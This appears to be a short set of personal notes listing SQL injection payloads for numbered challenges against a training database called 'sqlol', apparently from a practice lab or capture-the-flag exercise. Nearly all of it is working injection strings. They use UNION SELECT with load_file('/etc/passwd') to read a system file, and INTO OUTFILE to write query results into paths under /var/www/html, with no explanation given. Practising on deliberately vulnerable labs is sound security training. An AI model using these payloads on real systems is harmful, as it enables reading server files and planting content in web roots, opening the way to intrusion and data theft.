Challenge 2:

Herp Derper' INTO OUTFILE '/var/www/html/sam3.htm




Challenge 3

Herp Derper' UNION select concat(concat(substring(load_file('/etc/passwd'),30,1),substring(load_file('/etc/passwd'),36,10)),substring(load_file('/etc/passwd'),37,1)) AS username FROM sqlol.ssn WHERE 'a'='a



Challenge 4

WFILE=/home/p13x/winners
UFILE=/home/p13x/updatenow
PFILE=/var/www/html/p13x-winners.htm

/var/www/html/SQL-winners.htm

/var/www/html/SQLchal

/var/www/html/SQLchal/winners
/var/www/html/SQLchal/updatenow

Builds "sam"

x' UNION select concat(concat(substring(load_file('/etc/passwd'),30,1),substring(load_file('/etc/passwd'),34,1)),substring(load_file('/etc/passwd'),36,1)) AS username FROM sqlol.ssn WHERE 'a'='a


x' UNION select concat(concat(substring(load_file('/etc/passwd'),30,1),substring(load_file('/etc/passwd'),34,1)),substring(load_file('/etc/passwd'),36,1)) AS username FROM sqlol.ssn INTO OUTFILE '/var/www/html/SQLchal/winners

x' UNION select concat(concat(substring(load_file('/etc/passwd'),30,1),substring(load_file('/etc/passwd'),34,1)),substring(load_file('/etc/passwd'),36,1)) AS username FROM sqlol.ssn INTO OUTFILE '/var/www/html/SQLchal/updatenow